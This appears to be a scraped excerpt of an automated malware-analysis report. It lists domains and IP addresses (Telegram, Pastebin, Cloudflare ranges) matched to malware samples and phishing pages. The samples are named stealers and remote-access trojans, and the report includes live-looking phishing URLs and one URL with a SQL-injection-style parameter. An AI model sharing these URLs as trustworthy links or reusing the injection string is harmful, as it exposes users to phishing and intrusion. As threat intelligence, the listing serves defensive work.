                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                t.mehttps://telegra.ph/BOM-Robinetterie-Industrielle-02-28Get hashmaliciousHTMLPhisher, Invisible JSBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                instaII.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                45.ps1Get hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                0ajhlLnYRI.exeGet hashmaliciousPureLog Stealer, Vidar, zgRATBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                ynBVHwu6gx.exeGet hashmaliciousPureLog Stealer, Vidar, zgRATBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                Pirate.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                Tokenova.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                mY6CDWkfHp.exeGet hashmaliciousAmadey, LummaC Stealer, PureLog Stealer, Stealc, Tofsee, Vidar, zgRATBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                dwpk5JGAxF.exeGet hashmaliciousVidarBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                myspecialdot.com#Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.136.89
                                                                                                                                                                                                Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.136.89
                                                                                                                                                                                                #Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.21.86.196
                                                                                                                                                                                                #Ud835#Ude4e#Ud835#Ude40#Ud835#Ude4f#Ud835#Ude50#Ud835#Ude4b.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.136.89
                                                                                                                                                                                                E3B8#U007e1.EXE.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.21.86.196
                                                                                                                                                                                                E3B8#U007e1.EXE.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.136.89
                                                                                                                                                                                                Set-up.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.21.86.196
                                                                                                                                                                                                Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.136.89
                                                                                                                                                                                                #Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01-#Ud835#Ude02#Ud835#Uddfd.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.21.86.196
                                                                                                                                                                                                pastebin.comVibeCall.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                • 104.20.4.235
                                                                                                                                                                                                VibeCall.exeGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                • 104.20.3.235
                                                                                                                                                                                                #Ud835#Udde6#Ud835#Uddf2#Ud835#Ude01#Ud835#Ude02#Ud835#Uddfd.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.19.24
                                                                                                                                                                                                #Ud835#Udc12#Ud835#Udc1e#Ud835#Udc2d#Ud835#Udc2e#Ud835#Udc29.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.19.24
                                                                                                                                                                                                Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 104.20.4.235
                                                                                                                                                                                                #Ud835#Udc12#Ud835#Udc1e#Ud835#Udc2d#Ud835#Udc2e#Ud835#Udc29.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 172.67.19.24
                                                                                                                                                                                                Loader.exeGet hashmaliciousLummaC Stealer, PureLog StealerBrowse
                                                                                                                                                                                                • 104.20.3.235
                                                                                                                                                                                                svchost.exeGet hashmaliciousAsyncRAT, VenomRATBrowse
                                                                                                                                                                                                • 104.20.4.235
                                                                                                                                                                                                svchost.exeGet hashmaliciousAsyncRAT, VenomRATBrowse
                                                                                                                                                                                                • 104.20.4.235

                                                                                                                                                                                                ASNs

                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                TELEGRAMRUhttps://telegra.ph/BOM-Robinetterie-Industrielle-02-28Get hashmaliciousHTMLPhisher, Invisible JSBrowse
                                                                                                                                                                                                • 149.154.164.13
                                                                                                                                                                                                instaII.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                45.ps1Get hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                combomaker.exeGet hashmaliciousBlank GrabberBrowse
                                                                                                                                                                                                • 149.154.167.220
                                                                                                                                                                                                LAT00125.exeGet hashmaliciousDarkTortilla, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                                • 149.154.167.220
                                                                                                                                                                                                Order.cmdGet hashmaliciousDBatLoaderBrowse
                                                                                                                                                                                                • 149.154.167.220
                                                                                                                                                                                                price quotation new order CT-2501.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                                • 149.154.167.220
                                                                                                                                                                                                UESy6IdsiB.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                                                                                • 149.154.167.220
                                                                                                                                                                                                0ajhlLnYRI.exeGet hashmaliciousPureLog Stealer, Vidar, zgRATBrowse
                                                                                                                                                                                                • 149.154.167.99
                                                                                                                                                                                                CLOUDFLARENETUShttps://DvRg.atbuovpkz.com/TYjSz/Get hashmaliciousHTMLPhisher, Invisible JSBrowse
                                                                                                                                                                                                • 172.67.211.82
                                                                                                                                                                                                https://DvRg.atbuovpkz.com/TYjSz/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.211.82
                                                                                                                                                                                                12.msiGet hashmaliciousRedLineBrowse
                                                                                                                                                                                                • 172.67.146.5
                                                                                                                                                                                                https://nybdc-my.sharepoint.com/:f:/g/personal/lboyce_pursuitlending_com/Ek48NWZYRCdDuZdRvobas-cB781NBY7AXHwSzBsAf0AsgA?e=kSfTcoGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.21.62.37
                                                                                                                                                                                                https://www.sysmextv.com//customersupport.networksolutions.com/article.php?id=id%3D306+OR+02645%3D2645Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                https://frysfrs1.sansompccom.top/AS1zx/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.18.11.207
                                                                                                                                                                                                https://docs.google.com/presentation/d/e/2PACX-1vQDFvWzUegFF27kLm5XiMxmiI_vw0w_W8F17ZhKqfyGz6sZuahycGusFvtZx15hlyXa4-uozDAa4BDT/pub?start=false&loop=false&delayms=3000Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.21.112.1
                                                                                                                                                                                                CLOUDFLARENETUShttps://DvRg.atbuovpkz.com/TYjSz/Get hashmaliciousHTMLPhisher, Invisible JSBrowse
                                                                                                                                                                                                • 172.67.211.82
                                                                                                                                                                                                https://DvRg.atbuovpkz.com/TYjSz/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.211.82
                                                                                                                                                                                                12.msiGet hashmaliciousRedLineBrowse
                                                                                                                                                                                                • 172.67.146.5
                                                                                                                                                                                                https://nybdc-my.sharepoint.com/:f:/g/personal/lboyce_pursuitlending_com/Ek48NWZYRCdDuZdRvobas-cB781NBY7AXHwSzBsAf0AsgA?e=kSfTcoGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.21.62.37
                                                                                                                                                                                                https://www.sysmextv.com//customersupport.networksolutions.com/article.php?id=id%3D306+OR+02645%3D2645Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                https://frysfrs1.sansompccom.top/AS1zx/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.18.11.207
                                                                                                                                                                                                https://docs.google.com/presentation/d/e/2PACX-1vQDFvWzUegFF27kLm5XiMxmiI_vw0w_W8F17ZhKqfyGz6sZuahycGusFvtZx15hlyXa4-uozDAa4BDT/pub?start=false&loop=false&delayms=3000Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.21.112.1
                                                                                                                                                                                                CLOUDFLARENETUShttps://DvRg.atbuovpkz.com/TYjSz/Get hashmaliciousHTMLPhisher, Invisible JSBrowse
                                                                                                                                                                                                • 172.67.211.82
                                                                                                                                                                                                https://DvRg.atbuovpkz.com/TYjSz/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 172.67.211.82
                                                                                                                                                                                                12.msiGet hashmaliciousRedLineBrowse
                                                                                                                                                                                                • 172.67.146.5
                                                                                                                                                                                                https://nybdc-my.sharepoint.com/:f:/g/personal/lboyce_pursuitlending_com/Ek48NWZYRCdDuZdRvobas-cB781NBY7AXHwSzBsAf0AsgA?e=kSfTcoGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.21.62.37
                                                                                                                                                                                                https://www.sysmextv.com//customersupport.networksolutions.com/article.php?id=id%3D306+OR+02645%3D2645Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                • 188.114.96.3
                                                                                                                                                                                                https://frysfrs1.sansompccom.top/AS1zx/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.18.11.207
                                                                                                                                                                                                https://docs.google.com/presentation/d/e/2PACX-1vQDFvWzUegFF27kLm5XiMxmiI_vw0w_W8F17ZhKqfyGz6sZuahycGusFvtZx15hlyXa4-uozDAa4BDT/pub?start=false&loop=false&delayms=3000Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                • 104.21.112.1

                                                                                                                                                                                                JA3 Fingerprints